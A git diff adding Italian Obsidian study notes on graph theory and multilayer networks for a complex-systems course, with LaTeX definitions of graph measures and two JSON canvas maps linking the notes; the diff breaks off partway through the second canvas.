+++ b/8 - Sistemi complessi/4 - Grafi/coefficiente di clustering.md	
@@ -0,0 +1,11 @@
+[[Misura]] in un [[grafo]].
+
+Il rapporto tra il numero di [[arco di un grafo|archi]] presenti e possibili nei nodi adiacenti, esclusi quelli diretti al nodo su cui si sta effettuando la misura.
+$$
+\frac{archiPresenti}{archiPossibili}
+$$
+
+## Esempi
+
+- Un [[reticolo]] ha per definizione clustering elevato.
+- Una [[grafo casuale]] avrà un clustering tanto più ridotto quanti meno archi sono stati creati.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/diametro di un grafo.md b/8 - Sistemi complessi/4 - Grafi/diametro di un grafo.md
new file mode 100644
index 0000000..b86bcc6
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/diametro di un grafo.md	
@@ -0,0 +1,15 @@
+[[Misura]] di un [[grafo]].
+
+L'[[eccentricità di un nodo|eccentricità]] massima tra tutti i [[nodo di un grafo|nodi]].
+$$
+\def \source {{\color{cyan} src}}
+\def \destination {{\color{magenta} dst}}
+\Large
+\max_{\forall \source \in nodes} \bigg[
+	\max_{\forall \destination \in nodes} \bigg[
+		\mathrm{lengths} \big(
+			\source \to \destination
+		\big)
+	\bigg]
+\bigg]
+$$
diff --git a/8 - Sistemi complessi/4 - Grafi/distanza tra nodi di un grafo.md b/8 - Sistemi complessi/4 - Grafi/distanza tra nodi di un grafo.md
new file mode 100644
index 0000000..2dcef87
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/distanza tra nodi di un grafo.md	
@@ -0,0 +1,9 @@
+[[Misura]] in un [[grafo]].
+
+Corrisponde alla [[lunghezza]] di ciascun [[percorso]] tra due [[nodo di un grafo|nodi]].
+$$
+\def \source {{\color{cyan} src}}
+\def \destination {{\color{magenta} dst}}
+\Large
+\mathrm{lengths}(\source \to \destination)
+$$
diff --git a/8 - Sistemi complessi/4 - Grafi/eccentricità di un nodo.md b/8 - Sistemi complessi/4 - Grafi/eccentricità di un nodo.md
new file mode 100644
index 0000000..c1bd8e2
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/eccentricità di un nodo.md	
@@ -0,0 +1,13 @@
+[[Misura]] in un [[grafo]] relativa a un nodo.
+
+È il massimo delle distanze tra il nodo scelto e ogni altro nodo del grafo.
+
+$$
+\def \destination {{\color{magenta} dst}}
+\Large
+\max_{\forall \destination \in nodes} \bigg[
+	\mathrm{lengths} \big(
+		node \to \destination
+	\big)
+\bigg]
+$$
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo a nodi colorati.md b/8 - Sistemi complessi/4 - Grafi/grafo a nodi colorati.md
new file mode 100644
index 0000000..75d4201
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo a nodi colorati.md	
@@ -0,0 +1 @@
+[[grafo multi-livello a livelli disgiunti]] con un singolo [[aspetto categorico di un grafo multi-livello|aspetto categorico]], detto *colore*.
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo a reticolo.md b/8 - Sistemi complessi/4 - Grafi/grafo a reticolo.md
new file mode 100644
index 0000000..9da2526
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo a reticolo.md	
@@ -0,0 +1,6 @@
+[[grafo]] in cui tutti gli archi del [[reticolo]] su cui esso si basa sono presenti.
+
+## Caratteristiche
+
+- [[lunghezza caratteristica]] **alta**
+- [[coefficiente di clustering]] **alto**
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo ad archi colorati.md b/8 - Sistemi complessi/4 - Grafi/grafo ad archi colorati.md
new file mode 100644
index 0000000..29aef49
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo ad archi colorati.md	
@@ -0,0 +1 @@
+[[grafo multi-livello categorico]] [[grafo multi-livello allineato ai nodi|allineato ai nodi]] con un singolo [[aspetto categorico di un grafo multi-livello|aspetto categorico]], detto *colore*.
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo casuale.md b/8 - Sistemi complessi/4 - Grafi/grafo casuale.md
new file mode 100644
index 0000000..4735b54
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo casuale.md	
@@ -0,0 +1,6 @@
+[[grafo]] formato connettendo due nodi scelti casualmente per un certo numero di volte.
+
+## Caratteristiche
+
+- [[lunghezza caratteristica]] **bassa**
+- [[coefficiente di clustering]] **basso**
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo completo.md b/8 - Sistemi complessi/4 - Grafi/grafo completo.md
new file mode 100644
index 0000000..e85cd23
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo completo.md	
@@ -0,0 +1 @@
+[[grafo]] in cui tutti gli [[arco di un grafo|archi]] possibili sono presenti.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo connesso.md b/8 - Sistemi complessi/4 - Grafi/grafo connesso.md
new file mode 100644
index 0000000..5568d65
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo connesso.md	
@@ -0,0 +1 @@
+[[grafo]] in cui partendo da un qualsiasi [[nodo di un grafo|nodo]] è possibile raggiungere qualsiasi altro.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo denso.md b/8 - Sistemi complessi/4 - Grafi/grafo denso.md
new file mode 100644
index 0000000..48b3359
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo denso.md	
@@ -0,0 +1 @@
+[[grafo]] in cui il numero di [[arco di un grafo|archi]] è relativamente alto.
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo multi-livello a livelli disgiunti.md b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello a livelli disgiunti.md
new file mode 100644
index 0000000..65005c2
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello a livelli disgiunti.md	
@@ -0,0 +1 @@
+[[grafo multi-livello]] in cui ogni [[nodo di un grafo|nodo]] è presente in un solo livello.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo multi-livello allineato ai nodi.md b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello allineato ai nodi.md
new file mode 100644
index 0000000..15e24a6
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello allineato ai nodi.md	
@@ -0,0 +1 @@
+[[grafo multi-livello]] in cui tutti i [[nodo di un grafo|nodi]] appaiono su tutti i livelli.
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo multi-livello categorico.md b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello categorico.md
new file mode 100644
index 0000000..f01f0fc
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello categorico.md	
@@ -0,0 +1,6 @@
+---
+aliases:
+  - grafo multi-livello con accoppiamento categorico
+---
+
+[[grafo multi-livello]] in cui tutte le copie di un [[nodo di un grafo|nodo]] su livelli diversi sono connesse da [[arco di accoppiamento|archi di accoppiamento]].
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale a livelli accoppiati.md b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale a livelli accoppiati.md
new file mode 100644
index 0000000..d911891
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale a livelli accoppiati.md	
@@ -0,0 +1 @@
+[[grafo multi-livello diagonale]] pesato in cui, per ogni coppia di livelli, tutti gli [[arco di un grafo|archi]] che li connettono hanno gli stessi pesi.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale.md b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale.md
new file mode 100644
index 0000000..951eebd
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale.md	
@@ -0,0 +1,6 @@
+---
+aliases:
+  - grafo multi-livello con accoppiamento diagonale
+---
+
+[[grafo multi-livello]] in cui tutti gli [[arco di un grafo|archi]] tra livelli diversi sono [[arco di accoppiamento|di accoppiamento]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo multi-livello interconnesso.md b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello interconnesso.md
new file mode 100644
index 0000000..32c1f0b
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello interconnesso.md	
@@ -0,0 +1 @@
+[[grafo multi-livello]] in cui tutti gli [[arco di accoppiamento|archi di accoppiamento]] possibili sono presenti.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo multi-livello k-partito.md b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello k-partito.md
new file mode 100644
index 0000000..dc38639
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello k-partito.md	
@@ -0,0 +1 @@
+[[grafo multi-livello]] in cui non possono esistere [[arco di un grafo|archi]] tra [[nodo di un grafo|nodi]] dello stesso livello.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo multi-livello.md b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello.md
new file mode 100644
index 0000000..8781d48
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo multi-livello.md	
@@ -0,0 +1,11 @@
+Astrazione del [[grafo]] che lo ripete su più livelli, ciascuno caratterizzato da uno o più [[aspetto di un grafo multi-livello|aspetti]].
+
+Ogni nodo può essere ripetuto in ogni livello, oppure può essere assente da alcuni di essi.
+
+I nodi di un livello, in aggiunta ad essere connessi tra loro, possono connettersi ai nodi di un livello diverso, creando connessioni "eterogenee".
+
+Tipicamente rappresentato con un [[tensore]].
+
+## Utilizzi
+
+Vengono usati nello studio dei [[sistema complesso|sistemi complessi]] per rappresentare una [[rete interdipendente]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo scale-free.md b/8 - Sistemi complessi/4 - Grafi/grafo scale-free.md
new file mode 100644
index 0000000..eb325ce
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo scale-free.md	
@@ -0,0 +1 @@
+[[grafo]] formato connettendo due nodi scelti casualmente per un certo numero di volte, ma in cui la probabilità che un nodo venga selezionato per un collegamento è moltiplicata per la [[degree centrality]] del nodo stesso.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo small-world.md b/8 - Sistemi complessi/4 - Grafi/grafo small-world.md
new file mode 100644
index 0000000..c220aa5
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo small-world.md	
@@ -0,0 +1,8 @@
+[[grafo]] formato a partire da un [[grafo a reticolo]] in cui un numero ridotto di archi sono sostituiti con [[grafo casuale|collegamenti casuali]].
+
+> *Una rete con scorciatoie, praticamente.*
+
+## Caratteristiche
+
+- [[lunghezza caratteristica]] **bassa**
+- [[coefficiente di clustering]] **alto**
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo sparso.md b/8 - Sistemi complessi/4 - Grafi/grafo sparso.md
new file mode 100644
index 0000000..1758e59
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo sparso.md	
@@ -0,0 +1 @@
+[[grafo]] in cui il numero di [[arco di un grafo|archi]] è relativamente basso.
diff --git a/8 - Sistemi complessi/4 - Grafi/grafo.md b/8 - Sistemi complessi/4 - Grafi/grafo.md
new file mode 100644
index 0000000..715a18d
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/grafo.md	
@@ -0,0 +1 @@
+[[astrazione]] matematica formata un insieme di [[nodo|nodi]] interconnessi da [[arco di un grafo|archi]].
diff --git a/8 - Sistemi complessi/4 - Grafi/interdipendenza.md b/8 - Sistemi complessi/4 - Grafi/interdipendenza.md
new file mode 100644
index 0000000..17f5ade
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/interdipendenza.md	
@@ -0,0 +1,3 @@
+[[Misura]] aggregata per [[rete multiplex]].
+
+Rapporto tra il numero di [[percorso minimo|percorsi minimi]] che attraversano più livelli rispetto al numero di [[percorso minimo|percorsi minimi]] totali.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/iperarco.md b/8 - Sistemi complessi/4 - Grafi/iperarco.md
new file mode 100644
index 0000000..2781112
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/iperarco.md	
@@ -0,0 +1,5 @@
+---
+aliases:
+  - simplesso
+---
+[[lista]] di [[nodo di un grafo|nodi]] di un [[ipergrafo]].
diff --git a/8 - Sistemi complessi/4 - Grafi/ipergrafo.md b/8 - Sistemi complessi/4 - Grafi/ipergrafo.md
new file mode 100644
index 0000000..8c6ee5c
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/ipergrafo.md	
@@ -0,0 +1,5 @@
+---
+aliases:
+  - complesso simpliciale
+---
+[[Astrazione]] di un [[grafo]] in cui gli [[arco di un grafo|archi]] (detti [[iperarco|simplessi]]) connettono più [[nodo di un grafo|nodi]] contemporaneamente.
diff --git a/8 - Sistemi complessi/4 - Grafi/iperrete.md b/8 - Sistemi complessi/4 - Grafi/iperrete.md
new file mode 100644
index 0000000..7f2279e
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/iperrete.md	
@@ -0,0 +1,5 @@
+[[rete]] rappresentabile con un [[ipergrafo]] relazionale.
+
+Rappresenta non *connessioni* tra entità, ma **aggregazioni** di entità, che perderebbero significato anche senza una sola di esse.
+
+Le iperreti sono spesso utilizzate in modo [[rete innestata|innestato]].
diff --git a/8 - Sistemi complessi/4 - Grafi/lunghezza caratteristica di un grafo.md b/8 - Sistemi complessi/4 - Grafi/lunghezza caratteristica di un grafo.md
new file mode 100644
index 0000000..48806c5
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/lunghezza caratteristica di un grafo.md	
@@ -0,0 +1,15 @@
+[[Misura]] in un [[grafo]].
+
+È la [[mediana]] della [[media]] delle [[distanza tra nodi di un grafo|distanze]] tra ogni nodo.
+$$
+\def \source {{\color{cyan} src}}
+\def \destination {{\color{magenta} dst}}
+\Large
+\underset{\forall \source \in nodes}{\mathrm{median}} \bigg[
+	\underset{\forall \destination \in nodes}{\mathrm{average}} \bigg[
+		\mathrm{lengths} \big(
+			\source \to \destination
+		\big)
+	\bigg]
+\bigg]
+$$
diff --git a/8 - Sistemi complessi/4 - Grafi/multislice modularity.md b/8 - Sistemi complessi/4 - Grafi/multislice modularity.md
new file mode 100644
index 0000000..80c6543
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/multislice modularity.md	
@@ -0,0 +1 @@
+[[Misura]] di [[community detection]] aggregata per [[rete multiplex]] con [[aspetto ordinale di un grafo multi-livello|aspetto ordinale]].
diff --git a/8 - Sistemi complessi/4 - Grafi/percolation threshold.md b/8 - Sistemi complessi/4 - Grafi/percolation threshold.md
new file mode 100644
index 0000000..19069f3
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/percolation threshold.md	
@@ -0,0 +1 @@
+#TODO ?
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/percorso euleriano.md b/8 - Sistemi complessi/4 - Grafi/percorso euleriano.md
new file mode 100644
index 0000000..1d66def
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/percorso euleriano.md	
@@ -0,0 +1 @@
+Particolare [[percorso]] in un [[grafo]] che attraversa ogni [[arco di un grafo|arco]] una volta sola.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/raggio di un grafo.md b/8 - Sistemi complessi/4 - Grafi/raggio di un grafo.md
new file mode 100644
index 0000000..2aad175
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/raggio di un grafo.md	
@@ -0,0 +1,15 @@
+[[Misura]] di un [[grafo]].
+
+L'[[eccentricità di un nodo|eccentricità]] minima tra tutti i [[nodo di un grafo|nodi]].
+$$
+\def \source {{\color{cyan} src}}
+\def \destination {{\color{magenta} dst}}
+\Large
+\min_{\forall \source \in nodes} \bigg[
+	\max_{\forall \destination \in nodes} \bigg[
+		\mathrm{lengths} \big(
+			\source \to \destination
+		\big)
+	\bigg]
+\bigg]
+$$
diff --git a/8 - Sistemi complessi/4 - Grafi/rete interdipendente.md b/8 - Sistemi complessi/4 - Grafi/rete interdipendente.md
new file mode 100644
index 0000000..7c2c71a
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/rete interdipendente.md	
@@ -0,0 +1,3 @@
+[[rete]] formata da più [[8 - Sistemi complessi/2 - Sistemi complessi/rete|reti]] che interagiscono tra loro, rappresentabile con un [[grafo multi-livello]].
+
+#TODO Qualcosa sul fallimento più probabile se sono distribuiti?????
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/rete multiplex correlata.md b/8 - Sistemi complessi/4 - Grafi/rete multiplex correlata.md
new file mode 100644
index 0000000..024a648
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/rete multiplex correlata.md	
@@ -0,0 +1,3 @@
+[[rete multiplex]] in cui gli [[arco di un grafo|archi]] inter-livello rappresentano le correlazioni tra i nodi.
+
+#TODO Non sono sicuro.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/rete multiplex straightforward.md b/8 - Sistemi complessi/4 - Grafi/rete multiplex straightforward.md
new file mode 100644
index 0000000..2a0aa23
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/rete multiplex straightforward.md	
@@ -0,0 +1 @@
+[[Costruzione]] di una [[rete multiplex]] usando due metodi diversi per gli [[arco di un grafo|archi]] intra-livello e inter-livello.
diff --git a/8 - Sistemi complessi/4 - Grafi/rete multiplex.md b/8 - Sistemi complessi/4 - Grafi/rete multiplex.md
new file mode 100644
index 0000000..17e1a84
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/rete multiplex.md	
@@ -0,0 +1,11 @@
+[[rete interdipendente]] il cui [[grafo multi-livello]]:
+- è [[grafo multi-livello diagonale|diagonale]]
+- ogni livello condivide almeno un nodo con un altro
+	- non è [[grafo multi-livello a livelli disgiunti|a livelli disgiunti]]
+
+## Diagnostica
+
+Tecniche per la diagnostica (e non lo studio, perchè si perderebbero informazioni) delle reti multiplex includono:
+- studiare i livelli singolarmente
+- creare livelli aggregati ([[combinazione lineare|combinando linearmente]] i pesi) e studiare quelli
+	- le misure aggregate possono funzionare in modi diversi, ad esempio, la [[degree centrality]] potrebbe effettuare l'unione di tutti gli archi oppure richiedere che siano presenti in almeno un certo numero di livelli
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/★ grafi multi-livello.canvas b/8 - Sistemi complessi/4 - Grafi/★ grafi multi-livello.canvas
new file mode 100644
index 0000000..ea2982e
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/★ grafi multi-livello.canvas	
@@ -0,0 +1,46 @@
+{
+	"nodes":[
+		{"id":"4f6278d5a8abc3b9","type":"file","file":"8 - Sistemi complessi/4 - Grafi/interdipendenza.md","x":-320,"y":-1360,"width":400,"height":400},
+		{"id":"4a17b6581b0eae44","type":"file","file":"8 - Sistemi complessi/4 - Grafi/rete multiplex correlata.md","x":800,"y":-1360,"width":400,"height":400,"color":"3"},
+		{"id":"5f00ae51c3185e0d","type":"file","file":"8 - Sistemi complessi/4 - Grafi/coefficiente di clustering in una rete multiplex.md","x":-320,"y":-800,"width":400,"height":400},
+		{"id":"b6cbce3895f25670","type":"file","file":"8 - Sistemi complessi/4 - Grafi/rete multiplex.md","x":240,"y":-800,"width":400,"height":400},
+		{"id":"dceea2c0b23fbb67","type":"file","file":"8 - Sistemi complessi/4 - Grafi/rete multiplex straightforward.md","x":800,"y":-800,"width":400,"height":400},
+		{"id":"523723119f484ca2","type":"file","file":"8 - Sistemi complessi/4 - Grafi/aspetto di un grafo multi-livello.md","x":-320,"y":320,"width":400,"height":400},
+		{"id":"df3dc0608cb828e8","type":"file","file":"8 - Sistemi complessi/4 - Grafi/rete interdipendente.md","x":240,"y":-240,"width":400,"height":400,"color":"3"},
+		{"id":"4f5acc2e578b1bb0","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo multi-livello.md","x":240,"y":320,"width":400,"height":400,"color":"#ffffff"},
+		{"id":"313326f800a72690","type":"file","file":"8 - Sistemi complessi/4 - Grafi/arco di accoppiamento.md","x":800,"y":320,"width":400,"height":400},
+		{"id":"5ee17be61a2623e4","type":"file","file":"8 - Sistemi complessi/4 - Grafi/aspetto ordinale di un grafo multi-livello.md","x":-880,"y":600,"width":400,"height":400},
+		{"id":"e9bb386cda7c85b6","type":"file","file":"8 - Sistemi complessi/4 - Grafi/aspetto categorico di un grafo multi-livello.md","x":-880,"y":40,"width":400,"height":400},
+		{"id":"6feed7e20256968b","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo a nodi colorati.md","x":3040,"y":1440,"width":400,"height":400},
+		{"id":"b9c76a989c783c3e","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo multi-livello a livelli disgiunti.md","x":1360,"y":1440,"width":400,"height":400},
+		{"id":"7aa838dfd787eee4","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo multi-livello allineato ai nodi.md","x":1360,"y":2000,"width":400,"height":400},
+		{"id":"706237b86a52dd2a","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo multi-livello k-partito.md","x":1360,"y":2560,"width":400,"height":400},
+		{"id":"34a42e0b591b8ea3","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo multi-livello interconnesso.md","x":1360,"y":3120,"width":400,"height":400},
+		{"id":"663a4c3e0352bbf6","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale a livelli accoppiati.md","x":1920,"y":880,"width":400,"height":400},
+		{"id":"904bb466938d0274","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo multi-livello categorico.md","x":2480,"y":880,"width":400,"height":400},
+		{"id":"7990a8e77ef96b23","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo ad archi colorati.md","x":3040,"y":880,"width":400,"height":400},
+		{"id":"2ab08c15be9f85ea","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale.md","x":1360,"y":880,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"c9a6a26e69e458b2","fromNode":"4f5acc2e578b1bb0","fromSide":"top","toNode":"df3dc0608cb828e8","toSide":"bottom"},
+		{"id":"9af8e16a4a0b0922","fromNode":"df3dc0608cb828e8","fromSide":"top","toNode":"b6cbce3895f25670","toSide":"bottom"},
+		{"id":"39ba156e75958b86","fromNode":"b6cbce3895f25670","fromSide":"right","toNode":"dceea2c0b23fbb67","toSide":"left"},
+		{"id":"1994612766fea130","fromNode":"b6cbce3895f25670","fromSide":"right","toNode":"4a17b6581b0eae44","toSide":"left"},
+		{"id":"fa911e8df9ed5911","fromNode":"b6cbce3895f25670","fromSide":"left","toNode":"5f00ae51c3185e0d","toSide":"right"},
+		{"id":"cd948aa6d7f3d9ae","fromNode":"b6cbce3895f25670","fromSide":"left","toNode":"4f6278d5a8abc3b9","toSide":"right"},
+		{"id":"731fa0c6ddd0accc","fromNode":"4f5acc2e578b1bb0","fromSide":"right","toNode":"313326f800a72690","toSide":"left"},
+		{"id":"d846df2a133acf88","fromNode":"2ab08c15be9f85ea","fromSide":"right","toNode":"663a4c3e0352bbf6","toSide":"left"},
+		{"id":"cf8611068095db1a","fromNode":"663a4c3e0352bbf6","fromSide":"right","toNode":"904bb466938d0274","toSide":"left"},
+		{"id":"dd9884fa4bb7f52f","fromNode":"904bb466938d0274","fromSide":"right","toNode":"7990a8e77ef96b23","toSide":"left"},
+		{"id":"64a0acec164e24ae","fromNode":"b9c76a989c783c3e","fromSide":"right","toNode":"6feed7e20256968b","toSide":"left"},
+		{"id":"3348c64da2485e3b","fromNode":"313326f800a72690","fromSide":"right","toNode":"2ab08c15be9f85ea","toSide":"top"},
+		{"id":"b6933f1896d4504a","fromNode":"4f5acc2e578b1bb0","fromSide":"bottom","toNode":"2ab08c15be9f85ea","toSide":"left"},
+		{"id":"4a457204fbf32dd1","fromNode":"4f5acc2e578b1bb0","fromSide":"bottom","toNode":"b9c76a989c783c3e","toSide":"left"},
+		{"id":"abbf94e831ff8213","fromNode":"4f5acc2e578b1bb0","fromSide":"bottom","toNode":"7aa838dfd787eee4","toSide":"left"},
+		{"id":"09e4bbc00a2de07e","fromNode":"4f5acc2e578b1bb0","fromSide":"bottom","toNode":"706237b86a52dd2a","toSide":"left"},
+		{"id":"4b1447a5a09a2c83","fromNode":"4f5acc2e578b1bb0","fromSide":"bottom","toNode":"34a42e0b591b8ea3","toSide":"left"},
+		{"id":"72ec6b0ac283fb22","fromNode":"4f5acc2e578b1bb0","fromSide":"left","toNode":"523723119f484ca2","toSide":"right"},
+		{"id":"03587498c82be8ef","fromNode":"523723119f484ca2","fromSide":"left","toNode":"e9bb386cda7c85b6","toSide":"right"},
+		{"id":"e1e7cfe30f6dc5cc","fromNode":"523723119f484ca2","fromSide":"left","toNode":"5ee17be61a2623e4","toSide":"right"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Sistemi complessi/4 - Grafi/★ grafi.canvas b/8 - Sistemi complessi/4 - Grafi/★ grafi.canvas
new file mode 100644
index 0000000..f768d77
--- /dev/null
+++ b/8 - Sistemi complessi/4 - Grafi/★ grafi.canvas	
@@ -0,0 +1,42 @@
+{
+	"nodes":[
+		{"id":"6c2e21eb331f5cd5","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo.md","x":-720,"y":-1840,"width":400,"height":400,"color":"#ffffff"},
+		{"id":"2a293cc183750ff1","type":"file","file":"8 - Sistemi complessi/4 - Grafi/distanza tra nodi di un grafo.md","x":-1280,"y":-1840,"width":400,"height":400},
+		{"id":"ab2b26a1bfd0713f","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo casuale.md","x":-1280,"y":-1280,"width":400,"height":400},
+		{"id":"d45a437fe74b91fd","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo small-world.md","x":-720,"y":-1280,"width":400,"height":400},
+		{"id":"4b397b17d2088d51","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo a reticolo.md","x":-160,"y":-1280,"width":400,"height":400},
+		{"id":"f7793d093bef2904","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo scale-free.md","x":400,"y":-1280,"width":400,"height":400},
+		{"id":"23f0482a49f7defc","type":"file","file":"8 - Sistemi complessi/4 - Grafi/bellezza.md","x":400,"y":-720,"width":400,"height":400},
+		{"id":"05c4a378bd4353d4","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo connesso.md","x":-160,"y":-1840,"width":400,"height":400},
+		{"id":"21b9168c34fd6402","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo sparso.md","x":-160,"y":-2400,"width":400,"height":400},
+		{"id":"f6ffdc5ed80e0b25","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo denso.md","x":400,"y":-2400,"width":400,"height":400},
+		{"id":"9005d41bfc560766","type":"file","file":"8 - Sistemi complessi/4 - Grafi/grafo completo.md","x":960,"y":-2400,"width":400,"height":400},
+		{"id":"733461d917046848","type":"file","file":"8 - Sistemi complessi/4 - Grafi/percorso euleriano.md","x":-720,"y":-2400,"width":400,"height":400},
+		{"id":"de40e376c53b5bdf","type":"file","file":"8 - Sistemi complessi/4 - Grafi/circuito euleriano.md","x":-720,"y":-2960,"width":400,"height":400},
+		{"id":"c118a4867a7be34d","type":"file","file":"8 - Sistemi complessi/4 - Grafi/coefficiente di clustering.md","x":-1280,"y":-2960,"width":400,"height":400},
+		{"id":"c8dc15e8b41ca15c","type":"file","file":"8 - Sistemi complessi/4 - Grafi/eccentricità di un nodo.md","x":-1840,"y":-1560,"width":400,"height":400},
+		{"id":"415c9835a616cc34","type":"file","file":"8 - Sistemi complessi/4 - Grafi/raggio di un grafo.md","x":-2400,"y":-1840,"width":400,"height":400},
+		{"id":"ac6748810a3e351f","type":"file","file":"8 - Sistemi complessi/4 - Grafi/diametro di un grafo.md","x":-2400,"y":-1280,"width":400,"height":400},
+		{"id":"a1727a8f2725bb6a","type":"file","file":"8 - Sistemi complessi/4 - Grafi/lunghezza caratteristica di un grafo.md","x":-1840,"y":-2120,"width":400,"height":400},
+		{"id":"cc6066f7e7e5ee7d","type":"file","file":"8 - Sistemi complessi/4 - Grafi/percolation threshold.md","x":-1280,"y":-2400,"width":400,"height":400,"color":"3"}
+	],
+	"edges":[
+		{"id":"4a5bbeb9d3099c8a","fromNode":"6c2e21eb331f5cd5","fromSide":"left","toNode":"2a293cc183750ff1","toSide":"right"},
+		{"id":"b6c94d3ff0d0d8ad","fromNode":"6c2e21eb331f5cd5","fromSide":"bottom","toNode":"d45a437fe74b91fd","toSide":"top"},
+		{"id":"e4c111475b3989fd","fromNode":"6c2e21eb331f5cd5","fromSide":"right","toNode":"05c4a378bd4353d4","toSide":"left"},
+		{"id":"c5ffb80ff5e2b3a6","fromNode":"6c2e21eb331f5cd5","fromSide":"right","toNode":"21b9168c34fd6402","toSide":"left"},
+		{"id":"4a15588b4c4cf8f3","fromNode":"21b9168c34fd6402","fromSide":"right","toNode":"f6ffdc5ed80e0b25","toSide":"left"},
+		{"id":"44e65ee0b99819c9","fromNode":"6c2e21eb331f5cd5","fromSide":"bottom","toNode":"4b397b17d2088d51","toSide":"top"},
+		{"id":"1c151b148774698b","fromNode":"6c2e21eb331f5cd5","fromSide":"bottom","toNode":"f7793d093bef2904","toSide":"top"},
+		{"id":"5ebd10d6458ea3e6","fromNode":"6c2e21eb331f5cd5","fromSide":"bottom","toNode":"ab2b26a1bfd0713f","toSide":"top"},
